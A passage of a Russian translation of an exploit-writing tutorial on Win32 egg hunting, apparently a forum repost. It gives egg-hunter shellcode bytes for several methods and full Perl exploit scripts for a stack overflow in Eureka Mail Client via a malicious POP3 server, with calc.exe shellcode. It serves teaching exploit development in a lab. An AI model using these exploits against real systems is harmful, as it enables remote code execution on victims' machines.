R0 CREW

Exploit Writing Tutorial Part 8: Win32 Egg Hunting (Перевод: Prosper-H)

Перейти к содержанию

Введение

Пасха еще далеко, так что самое время поговорить о способах охоты на яйца (чтобы вы были подготовлены к тому, когда пасхальный кролик принесет вам еще одну 0-day уязвимость).

В первых частях наших уроков, мы говорили о переполнении стека и о том, как он может привести к выполнению произвольного кода. Во всех эксплойтах, которые мы создавали до сих пор, место размещения шелкода было более или менее статическим, либо на него можно было сослаться с помощью регистра (вместо, жестко заданного адреса в стеке), что позволяло обеспечить стабильность и надежность его работы.

В некоторых частях, я говорили о различных техниках перехода (jump) на шеллкод, включая техники, которые использовали один или несколько джампов, чтобы добраться до шеллкода. В каждом демонстрационном примере, размер доступной памяти в стеке был достаточно большим, чтобы вместить весь наш шеллкод.

Но что, если доступный размер буфера слишком мал, чтобы вместить в себя весь шеллкод? Здесь нам может помочь техника с таким названием, как охота на яйца (egg hunting). Охота на яйца это такая техника, которая может быть категоризированна как «staged shellcode», и которая по сути позволяет использовать маленький кусок custom-шеллкода для нахождения настоящего (большого) шеллкода («яйца»). То есть, когда выполняется первый маленький кусок кода, он пытается найти и выполнить настоящий шеллкод.

Для того, чтобы эта техника работала, должны быть соблюдены три важных условия:

  1. Вы должны иметь возможность перейти на (JMP, CALL, PUSH/RET) и выполнить «некоторый» шеллкод. Количество доступного пространства в буфере может быть относительно маленьким, поскольку этот буфер будет содержать только, так называемого, «охотника за яцами» (egg hunter). Код охотника должен находиться в предсказуемом месте (так что бы вы могли гарантированно прейти на него и выполнить его).
  2. Конечный шеллкод должен располагаться где-то в памяти (стеке/куче/etc).
  3. Вам нужно «пометить» начало конечного шеллкода уникальной строкой/маркером/тегом. Начальный шеллкод (меленький кусок кода «охотника за яйцами») будет искать этот маркер в памяти. Как только он найдет его, он запустит шеллкод, который будет размещен сразу за маркером, с помощью инструкции JMP или CALL. Это означает, что вам нужно определить маркер в коде охотника, а так же поместить его в начало конечного шеллкода.

Поиск в памяти достаточно ресурсоёмкая задача и может потребовать времени. Так что, когда используется охотник за яйцами, вы можете заметить что:

  • на мгновение (во время поиска) задействуется вся память процессора.
  • это может занять некоторое время, прежде чем шеллкод будет выполнен (представьте, что у вас 3Гб ОЗУ).

История и базовые методы

Лишь небольшое количество мануалов было написано на эту тему: Skape недавно написал отличную статью по этой теме, так же вы можете найти некоторую информацию по охоте за яцами в куче, здесь.

Документ Skape в действительности является лучшей ссылкой на охоту за яйцами, которую только можно найти в Интернете. Он содержит много методов и примеров для Linux и Windows, и четко объясняет, как работает охотник и как можно производить поиск в памяти безопасным способом.

Я не собираюсь повторять здесь технические детали, относительно охоты за яйцами, поскольку документ Скэйпа достаточно подробный и сам говорит за себя. Вместо этого, я использую несколько примеров, чтобы показать, как их можно применить для переполнения стека.

Вам просто нужно помнить:

  • Маркер должен быть уникальным (обычно, вам нужно определить тег длиной в 4 байта внутри охотника и два раза повторить его (т.е. у вас получится маркер длиной в 8 байт) в начале конечного шеллкода).
  • Вам нужно проверить, какой из методов лучше всего подходит для поиска в памяти конкретно для вашего эксплойта. Метод, основанный на NTAccessCheck (AndAuditAlarm), кажется, работает лучше всего на моей системе.
  • Каждый метод требует определённого количества свободного места для размещения кода охотника:

SEH-метод использует около 60 байт, IsBadReadPtr требует 37 байт, NtDisplayString 32 байта. Последний метод, работает только на NT версиях Windows. Остальные так же должны работать под Windows 9x.

Код охотника за яйцами

Как объяснялось выше, эксплойтов под Windows, Скэйп обрисовал три разных метода охоты за яйцами. Снова же, я не собираюсь приводить точные объяснения относительно работы охотников, а просто познакомлю вас с их кодом, который необходим для их реализации.

Решение об использовании конкретного охотника, основывается на:

  • доступном (для размещения охотника) размере буфера.
  • является ли конкретный метод для конкретного эксплойта, рабочим на вашей машине или нет.

Охотник использующий SEH-injection

Размер охотника = 60 байт, размер маркера = 8 байт.

EB21       jmp short 0x23
59         pop ecx
[B][COLOR="red"]B890509050 mov eax,0x50905090  ; this is the tag[/COLOR][/B]
51         push ecx
6AFF       push byte -0x1
33DB       xor ebx,ebx
648923     mov [fs:ebx],esp
6A02       push byte +0x2
59         pop ecx
8BFB       mov edi,ebx
F3AF       repe scasd
7507       jnz 0x20
FFE7       jmp edi
6681CBFF0F or bx,0xfff
43         inc ebx
EBED       jmp short 0x10
E8DAFFFFFF call 0x2
6A0C       push byte +0xc
59         pop ecx
8B040C     mov eax,[esp+ecx]
B1B8       mov cl,0xb8
83040806   add dword [eax+ecx],byte +0x6
58         pop eax
83C410     add esp,byte+0x10
50         push eax
33C0       xor eax,eax
C3         ret

Чтобы использовать этого охотника, ваш payload должен выглядеть следующим образом:

my $egghunter = "\xeb\x21\x59\xb8".
"w00t".
"\x51\x6a\xff\x33\xdb\x64\x89\x23\x6a\x02\x59\x8b\xfb".
"\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb".
"\xed\xe8\xda\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1".
"\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x33\xc0\xc3";

(Где w00t является тегом/маркером. Так же вы можете записать w00t как «\x77\x30\x30\x74»)

ПРИМЕЧАНИЕ: SEH-injection скорее всего устарел, поскольку механизм SafeSEH стал стандартом де-факто в новых операционных системах и сервис паках. Таким образом, если вам нужно использовать этого охотника на XP SP3, Vista, Win7, Win8, etc, то вам нужно либо обойти SafeSEH тем или иным образом, либо использовать другого охотника (см. ниже).

Охотник использующий IsBadReadPtr

Размер охотника = 37 байт, размер маркера = 8 байт.

33DB       xor ebx,ebx
6681CBFF0F or bx,0xfff
43         inc ebx
6A08       push byte +0x8
53         push ebx
B80D5BE777 mov eax,0x77e75b0d
FFD0       call eax
85C0       test eax,eax
75EC       jnz 0x2
[B][COLOR="red"]B890509050 mov eax,0x50905090 ; this is the tag[/COLOR][/B]
8BFB       mov edi,ebx
AF         scasd
75E7       jnz 0x7
AF         scasd
75E4       jnz0x7
FFE7       jmp edi

Payload охотника:

my $egghunter = "\x33\xdb\x66\x81\xcb\xff\x0f\x43\x6a\x08".
"\x53\xb8\x0d\x5b\xe7\x77\xff\xd0\x85\xc0\x75\xec\xb8".
"w00t".
"\x8b\xfb\xaf\x75\xe7\xaf\x75\xe4\xff\xe7";

Охотник использующий NtDisplayString

Размер охотника = 32 байта, размер маркера = 8 байт.

6681CAFF0F  or dx,0x0fff
42          inc edx
52          push edx
6A43        push byte +0x43
58          pop eax
CD2E        int 0x2e
3C05        cmp al,0x5
5A          pop edx
74EF        jz 0x0
[B][COLOR="red"]B890509050  mov eax,0x50905090  ; this is the tag[/COLOR][/B]
8BFA        mov edi,edx
AF          scasd
75EA        jnz 0x5
AF          scasd
75E7        jnz 0x5
FFE7        jmp edi

Payload охотника:

my $egghunter =
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".
"w00t".
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";

Его же вид в Immunity:

Охотник использующий NtAccessCheck (AndAuditAlarm)

Еще один охотник, который очень похож на охотника из NtDisplayString:

my $egghunter =
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A[B][COLOR="red"]\x02[/COLOR][/B]\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".
"\x77\x30\x30\x74". # this is the marker/tag: w00t
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";

Чтобы предотвратить нарушение прав доступа из-за действий охотника, здесь, вместо функции NtDisplayString, используется функция NtAccessCheckAndAuditAlarm (смещение 0x2 в KiServiceTable). Больше информации об NtAccessCheck можно найти здесь и здесь. Так же, мой друг Линкольн создал хорошее видео по этому охотнику: посмотреть его можно здесь.

Краткое объяснение того, как работают охотники NtDisplayString / NtAccessCheckAndAuditAlarm

Эти два охотника используют похожую технику, отличие состоит в различных системных вызовах, которые используются для того, чтобы проверить, происходит нарушение прав доступа или нет (и чтобы пережить его появление).

Прототип функции NtDisplayString:

NtDisplayString(
IN PUNICODE_STRING String );

Прототип функции NtAccessCheckAndAuditAlarm:

 NtAccessCheckAndAuditAlarm(
  IN PUNICODE_STRING      SubsystemName OPTIONAL,
  IN HANDLE               ObjectHandle OPTIONAL,
  IN PUNICODE_STRING      ObjectTypeName OPTIONAL,
  IN PUNICODE_STRING      ObjectName OPTIONAL,
  IN PSECURITY_DESCRIPTOR SecurityDescriptor,
  IN ACCESS_MASK          DesiredAccess,
  IN PGENERIC_MAPPING     GenericMapping,
  IN BOOLEAN              ObjectCreation,
  OUT PULONG              GrantedAccess,
  OUT PULONG              AccessStatus,
  OUT PBOOLEAN            GenerateOnClose );

Прототип можно найти на http://undocumented.ntinternals.net/

Вот то, что делает код охотника:

6681CAFF0F  or dx,0x0fff   ; get last address in page
42          inc edx        ; acts as a counter
                           ;(increments the value in EDX)
52          push edx       ; pushes edx value to the  stack
                           ;(saves our current address on the stack)
6A43        push byte +0x2 ; push 0x2 for NtAccessCheckAndAuditAlarm
                           ; or 0x43 for NtDisplayString to stack
58          pop eax        ; pop 0x2 or 0x43 into eax
                           ; so it can be used as parameter
                           ; to syscall - see next
CD2E        int 0x2e       ; tell the kernel i want a do a
                           ; syscall using previous register
3C05        cmp al,0x5     ; check if access violation occurs
                           ;(0xc0000005== ACCESS_VIOLATION) 5
5A          pop edx        ; restore edx
74EF        je xxxx        ; jmp back to start dx 0x0fffff
B890509050  mov eax,0x50905090 ; this is the tag (egg)
8BFA        mov edi,edx    ; set edi to our pointer
AF          scasd          ; compare for status
75EA        jnz xxxxxx     ; (back to inc edx) check egg found or not
AF          scasd          ; when egg has been found
75E7        jnz xxxxx      ; (jump back to "inc edx")
                           ; if only the first egg was found
FFE7       jmp edi         ; edi points to begin of the shellcode

Реализация охотника за яйцами

Для того чтобы продемонстрировать работу охотника, используем недавно обнаруженную уязвимость в Eureka Mail Client v2.2q, открытую Фрэнсисом Провенкэром. Вы можете получить копию уязвимого приложения здесь:

[INDENT]Eureka Mail Client v2.2q (2.6 MiB, 594 hits)[/INDENT]

Установите приложение. Его настройкой займемся немного позже.

Уязвимость в этом приложении срабатывает в момент, когда клиент соединяется с POP3-сервером. Если POP3-сервер посылает длинные или специально созданные «-ERR» данные клиенту, то приложения клиента дает сбой, благодаря которому может быть выполнен произвольный код.

Давайте создадим эксплойт под XP SP3 English (VirtualBox).

Используем несколько простых строк Perl кода для установки фэкового POP3-сервера, с помощью которого, пошлем приложению строку длиной в 2000 байт (metasploit pattern).

Прежде всего скачайте плагин pvefindaddr для Immunity Debugger. Положите его в папку PyCommands отладчика Immunity Debugger, после чего запустите сам отладчик.

Создайте metasploit pattern, из 2000 символов, внутри Immunity Debugger, используя следующую команду:

!pvefindaddr pattern_create 2000

В папке отладчика, найди созданный файл «mspattern.txt», содержащий 2000 символов metasploit паттерна.

Откройте файл и скопируйте строку в буфер обмена.

Теперь создайте perl-скрипт эксплойта и используйте строку из 2000 символов в качестве payload (в $junk)

use Socket;
#Metasploit pattern"my $junk = "Aa0...";  #paste your 2000 bytes pattern here

my $payload=$junk;

#set up listener on port 110
my $port=110;
my $proto=getprotobyname('tcp');
socket(SERVER,PF_INET,SOCK_STREAM,$proto);
my $paddr=sockaddr_in($port,INADDR_ANY);
bind(SERVER,$paddr);
listen(SERVER,SOMAXCONN);
print "[+] Listening on tcp port 110 [POP3]... \n";
print "[+] Configure Eureka Mail Client to connect to this host\n";
my $client_addr;
while($client_addr=accept(CLIENT,SERVER))
{
  print "[+] Client connected, sending evil payload\n";
  while(1)
  {
     print CLIENT "-ERR ".$payload."\n";
	 print " -> Sent ".length($payload)." bytes\n";
  }
}
close CLIENT;
print "[+] Connection closed\n";

ПРИМЕЧАНИЕ:

  • Для этого урока важно использовать Metasploit паттерн, а не 2000 символов… Позже вам станет ясно почему это так важно.
  • Если 2000 символов не вызовут переполнения или краша (crash), попробуйте использовать 5000 символов Metasploit паттерна.
  • Я использую цикл while(1), потому что клиентское приложения не дает сбой после первого ERR-пэйлоада. Я знаю, что было бы лучше, если бы мы определили, сколько конкретно должно пройти итераций цикла, чтобы приложение дало сбой, но мне нравится использовать безконечные циклы, потому что они работают почти всегда.

Запустите Perl скрипт. Его вывод будет следующим:

Теперь запустите Eureka Mail Client. Перейдите в «Options => Connection Settings» и заполните IP-адрес хоста, на котором запущен Perl скрипт в качестве POP3-сервера. В моем примере, я запустил скрипт на хосте с адресом 192.168.0.193, так что моя конфигурация выглядит следующим образом:

Вам нужно будет ввести что-нибудь в поля POP Username и Password, вводить можно все что угодно, это не играет ни какой роли. После того, как все данные будут введены - сохраните настройки.

Теперь присоедините Immunity Debugger к приложению Eureka Email и дайте ему поработать.

Когда Eureka Mail Client будет запущен (с присоединенным Immunity), перейдите в нем на вкладку «File» и выберите «Send and receive emails».

Приложение умирает. Вы можете остановить Perl скрипт (помните, что он все еще работает). Посмотрите в окно Log и регистры отладчика: «Access violation when executing [37784136]»

Регистры выглядят следующим образом:

Теперь запустите следующую команду:

!pvefindaddr suggest

Сейчас вам станет ясно, почему я использовал Metasploit паттерн, вместо обычных символов «A». После выполнения команды !pvefindaddr, плагин вычислит место сбоя, попытается сказать к какому виду эксплойтов относится уязвимость и даже попытается построить пример полезной нагрузки с правильными смещениями:

Жизнь прекрасна :slight_smile:

Итак, теперь мы знаем, что:

  • Это прямая перезапись RET. RET перезаписывается после 710 байт (VirtualBox). Я заметил, что в зависимости от длины IP-адреса или имени хоста, который использовался для обращения к POP3-серверу (в настройках соединения Eureka Email), смещение перезаписываемого RET может варироваться. Так что, если вы используете адрес 127.0.0.1 (который на 4 байта короче, чем 192.168.0.193), смещение будет равно 714 байтам. Существует способ, чтобы создать общий эксплойт: взять длину локального IP-адреса (поскольку именно к нему будет подключаться клиент Eureka Mail) и вычислить смещение, основывая на его длине. (723 байта – длина IP).
  • Оба регистра ESP и EDI ссылаются на шеллкод. ESP указывает на место после 714 байт, а EDI указывает на смещение в 991 байт (cнова же, измениnе данные смещения на те, которые вы нашли на своей машине).

Пока все хорошо. Мы можем перейти (jump) на EDI или ESP.

ESP указывает на адрес стека (0x0012cd6c), а EDI указывает на адрес в секции .data приложения (0×00473678 – см. на карту памяти)

Если посмотрите на ESP, то увидите, что мы имеем ограниченное пространство под шеллкод.

Конечно, вы можете перейти (jump) на ESP и записать там (в ESP) обратный переход, чтобы иметь возможность использовать большую часть буфера, которая находится перед перезаписью RET. Но у вас по-прежнему мало места, примерно 700 байт (этого достаточно для вызова calc.exe или еще каких-нибудь примитивных вещей…).

Также может работать переход на EDI. Используйте команду «!pvefindaddr j edi», чтобы найти все инструкции «JMP EDI». Я буду использовать 0x7E47B533 (из user32.dll на XP SP3). Измените скрипт и проверьте будет ли работать эксплойт:

use Socket;
#fill out the local IP or hostname
#which is used by Eureka EMail as POP3 server
#note : must be exact match !
my $localserver = "192.168.0.193";
#calculate offset to EIP
my $junk = "A" x (723 - length($localserver));

my $ret=pack('V',0x7E47B533);  #jmp edi from user32.dll XP SP3
my $padding = "\x90" x 277;

#calc.exe
my $shellcode="\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";

my $payload=$junk.$ret.$padding.$shellcode;

#set up listener on port 110
my $port=110;
my $proto=getprotobyname('tcp');
socket(SERVER,PF_INET,SOCK_STREAM,$proto);
my $paddr=sockaddr_in($port,INADDR_ANY);
bind(SERVER,$paddr);
listen(SERVER,SOMAXCONN);
print "[+] Listening on tcp port 110 [POP3]... \n";
print "[+] Configure Eureka Mail Client to connect to this host\n";
my $client_addr;
while($client_addr=accept(CLIENT,SERVER))
{
  print "[+] Client connected, sending evil payload\n";
  while(1)
  {
     print CLIENT "-ERR ".$payload."\n";
	 print " -> Sent ".length($payload)." bytes\n";
  }
}
close CLIENT;
print "[+] Connection closed\n";

Присоедините отладчик к Eureka и установите брейкпойнт на адрес 0x7E47B533 (JMP EDI).

Запустите эксплойт. Отладчик остановится на JMP EDI. Если сейчас посмотрим на регистры, то вместо нахождения нашего шеллкода в EDI, мы увидим символы A. Это не то, что мы ожидали, но пока все нормально, так как мы контролируем эти символы. Однако, этот сценарий будет более или менее похож на предыдущий, с использованием JMP ESP, т.е. мы будем иметь примерно 700 байт пространства для нашего шеллкода. (Конечно, в качестве альтернативы, вы могли бы использовать нупы (NOP), вместо символов A, и записать short jump прежде чем RET будет перезаписан. Затем разместить шеллкод сразу после перезаписанного RET, что будет так же работать.)

Но давайте на этот раз пойдем более «сложным» путем, просто чтобы продемонстрировать, как он работает. Хотя мы видим символы A на том месте, где мы могли бы ожидать увидеть шеллкод, наш шеллкод размещен где-то в памяти. Если мы посмотрим немного дальше, то увидим, что шеллкод расположен по адресу 0×00473992:

Этот адрес, скорее всего, не постоянный… Давайте сделаем эксплойт более надежным задействовав для этого дела охотника за яйцами, который найдет и выполнит шеллкод.

Мы будем использовать initial jmp to esp (because esp is only 714 bytes away), поместите охотника в ESP, затем добавьте некоторое смещение (padding), после которого разместите реальный шеллкод (с маркером в наче)… Теперь не важно, где будет размещен наш шеллкод, охотник найдет и выполнит его.

Код охотника выглядит так (в этом примере я использовал метод NtAccessCheckAndAuditAlarm):

my $egghunter =
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".
"\x77\x30\x30\x74". # this is the marker/tag: w00t
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";

В этом примере использован тэг w00t. 32-байтный шеллкод охотника будет искать в памяти строку «w00tw00t» и как только найдет её, выполнит код, который будет находиться за ней. Код охотника нужно разместить по адресу из ESP.

Когда будем добавлять шеллкод в payload, его нужно будет предварить выше указанной строкой «w00tw000t» (одной из причин, повторения тэга два раза, состоит в том, что бы охотник, случайно, не принял свою строку «w000t» за начало яичного шеллкода).

Сначала, найдите JMP ESP (!pvefindaddr j esp). Я использую 0x7E47BCAF (jmp esp) из user32.dll (XP SP3)

Затем измените скрипт эксплойта следующим образом:

  • перезапишите EIP, после 710 байт, инструкцией JMP ESP.
  • поместите $egghunter в ESP. Охотник будет искать «w00tw00t».
  • добавьте смещение (padding). Им может быть что-угодно… нупы, символы A, etc.
  • поместите маркер «w00tw00t».
  • после маркера «w00tw00t» поместите реальный шеллкод,
use Socket;
#fill out the local IP or hostname
#which is used by Eureka EMail as POP3 server
#note : must be exact match !

my $localserver = "192.168.0.193";
#calculate offset to EIP
my $junk = "A" x (723 - length($localserver));
my $ret=pack('V',0x7E47BCAF); #jmp esp from user32.dll
my $padding = "\x90" x 1000;
my $egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".
"\x77\x30\x30\x74". # this is the marker/tag: w00t
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";

#calc.exe
my $shellcode="\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";

my $payload=$junk.$ret.$egghunter.$padding."w00tw00t".$shellcode;

#set up listener on port 110
my $port=110;
my $proto=getprotobyname('tcp');
socket(SERVER,PF_INET,SOCK_STREAM,$proto);
my $paddr=sockaddr_in($port,INADDR_ANY);
bind(SERVER,$paddr);
listen(SERVER,SOMAXCONN);
print "[+] Listening on tcp port 110 [POP3]... \n";
print "[+] Configure Eureka Mail Client to connect to this host\n";
my $client_addr;
while($client_addr=accept(CLIENT,SERVER))
{
  print "[+] Client connected, sending evil payload\n";
  while(1)
  {
     print CLIENT "-ERR ".$payload."\n";
	 print " -> Sent ".length($payload)." bytes\n";
  }
}
close CLIENT;
print "[+] Connection closed\n";

Присоедините отладчик к Eureka Mail и установите брейкпойнт по адресу 0x7E47BCAF. Запустите Eureka Mail.

Запустите эксплойт. Отладчик остановится на брейкпойнте (инструкции JMP ESP).

Посмотрите на ESP (перед тем как будет сделан переход):

Мы увидим, что наш охотник расположен по адресу 0x0012cd6c.

По адресу 0x12cd7d (mov eax,74303077), мы найдем нашу строку «w00t».

После продолжения выполнение приложения должен появится calc.exe.

Отлично.

В качестве маленького упражнения, давайте попробуем определить, где именно в памяти находится шеллкод.

Поместите брейкпойнт между маркером и шеллкодом (т.е. поместите перед шеллкодом 0xСС) и снова выполните эксплойт (не забыв присоединить отладчик к приложению).

Яйцо с шеллкодом было найдено в секции ресурсов приложения.

Из этого следует, что охотник за яйцами (по адресу 0x0012cd6c) будет осуществлять поиск в памяти, до тех пор пока не достигнет адреса 0x004739AD.

Если вернемся назад (поместите брэйкпойнт по адресу из JMP ESP) и посмотрим на стек, то мы увидим следующее:

Несмотря на тот факт, что шеллкод был расположен далеко от охотника, это заняло не много времени для того, чтобы он смог найти местоположение яйца и выполнить шеллкод. Круто!

Но что если шелкод не в куче (heap)? Как мы можем найти все экземпляры шелкода в памяти? Что если поиск займет много времени? Что если нам нужно настроить охотника так, чтобы он начинал поиск с определённого места в памяти? И существует ли способ изменить место, откуда охотник будет начинать свой поиск? Много вопросов, давайте продолжим и ответим на их.

Настройка начальной позиции поиска в охотнике (ради забавы, скорости и надежности)

Когда охотник из нашего примера начинает выполняться, он исполнит следующие инструкции:

(Давайте представим, что EDX в данный момент указывает на 0x0012E468, а яйцо находится по 0x0012f555 или что-то около того)

0012[B][COLOR="red"]F460   66:81CA FF0F     OR DX,0FFF
0012F465   42               INC EDX[/COLOR][/B]
0012F466   52               PUSH EDX
0012F467   6A 02            PUSH 2
0012F469   58               POP EAX

Первая инструкция поместит в EDI значение 0x0012FFFF. Следующая инструкция (INC EDX) увеличит EDC на 1, таким образом, EDX будет указывать на 0×00130000. Это конец текущего кадра стека, таким образом, поиск начнется даже не с того места, где он бы смог потенциально найти копию шеллкода, т.е. в том же самом кадре стека. (Окей, в нашем примере, нет копии шеллкода в данном местоположении, но это может иметь место). Яйцо находится где-то в памяти и охотник в конечном счете найдет его. Здесь нет никаких проблем.

Если шеллкод может быть найден только в текущем кадре стека (что бывает довольно редко, хотя случается и такое), то он не может быть найден этим охотником (потому, что охотник начинает поиск «после» места расположения шеллкода…). Очевидно, что если вы можете выполнить несколько строк кода и шеллкод находится в стеке, то вероятно будет проще просто прямо перейти (jump) на шеллкод, используя для этого «near» или «far jump» с использованием смещения (offset)… Но, скорее всего, это будет не надежным решением.

В любом случае, может быть случай, когда вам нужно немного настроить код охотника так, чтобы он начинал свой поиск с нужного места (т.е. позиционируя себя перед яйцом и как можно ближе к его место положению).

Проведите небольшую откладку и вы увидите с какого места начинается поиск (смотрите на регистр EDI, во время запуска охотника). Если требуется изменение охотника, то может быть стоит немного поиграть с его первой инструкцией. Замена FF0F на 00 00 позволит вам, осуществлять поиск в текущем кадре стека, если это требуется… Конечно, это приведет к тому, что охотник будет содержать нулевые байты и вам, вероятно, придется иметь с ними дело. Если это проблема, то вам вероятно придется проявить немного креативности.

Могут быть и другие способы, чтобы спозиционировать себя ближе к требуемому месту, например, путем замены «0×66, 0×81, 0xca, 0xff, 0x0f» некоторыми инструкциями, которые бы зависели от ваших требований. Вот несколько примеров:

  • Найти начало текущего кадра стека и поместить его значение в EDI
  • Переместить содержимое другого регистра в EDI
  • Найти начало кучи и поместить её значение в EDI (фактически, из TEB+0x30 получить PEB, после чего получить список всех куч для процесса, с помощью PEB+0x90). За более подробной информацией о создании heap-ориентированного охотника обращайтесь к этому документу.
  • Найти адрес image base и поместить его в EDI
  • Положить кастомное (custom) значение в EDI (опасно – это подобно жестко заданному адресу, поэтому убедитесь в том, что всё, что вы положите в EDI, будет размещено ПЕРЕД яйцом). Вы можете посмотреть на другие регистры, в момент, когда будет работать код охотника и выяснить, может ли один из них быть помещен в EDI, чтобы спозиционировать охотника ближе к яйцу. В качестве альтернативы, посмотрите на то, что находится в ESP (возможно несколько инструкций POP EDI, смогут поместить что-нибудь полезное в EDI).
  • etc.

Конечно, настройка позиционирования (места начального поиска) рекомендуется только в том случае если:

  • Скорость действительно является проблемой.
  • По-другому эксплойт не работает.
  • Вы можете выполнить изменение универсальным способом или если вы создаете кастомный эксплойт, который должен отработать только один раз.

В любом случае, я просто хочу сказать, что вы должны проявить немного креативности, чтобы создать лучший, быстрый, наименьший, etc эксплойт.

Эй, в большинстве случаев, охотник за яйцами работает хорошо! Почему нам всегда необходимо изменять стартовый адрес?

Хороший вопрос.

Может быть случай, когда яйцо (маркер+шеллкод) будут размещены в нескольких местах в памяти, и некоторые из этих копий могут быть повреждены/усечены/etc. В данном конкретном сценарии, существует хорошая предпосылка к тому, чтобы изменить адрес, с которого охотник начинает поиск, таким образом, он может попытаться избежать поврежденные копии. В конце концов, охотник ищет только 8 байтовый маркер, а не весь шеллкод находящийся за ним.

Хороший способ узнать, нужно ли изменять начальный адрес поиска охотника или нет, это выяснить:

  • Где в памяти находится шеллкод;
  • И поврежден ли он или нет.

Все это можно сделать при помощи команды «!pvefindaddr compare», которая была добавлена в плагин версии 1.16.

В действительности, эта фича была добавлена для сравнения шеллкода в памяти с шеллкодом из файла, но она будет осуществлять динамический поиск всех экземпляров шеллкода. Таким образом, вы сможете увидеть, где был найден шеллкод и был ли он изменён/обрезан или нет. Используя эту информацию, вы сможете принять решение, нужно ли вам настраивать начальную позицию для поиска или нет, и если её нужно изменить, то где это изменение нужно сделать.

Небольшой демонстрационный пример того, как сравнить шеллкод:

Вначале, вам нужно записать шеллкод в файл. Для этого вы можете использовать небольшой скрипт, подобный этому:

# write shellcode for calc.exe to file called code.bin
# you can - of course - prepend this with egghunter tag
# if you want
#
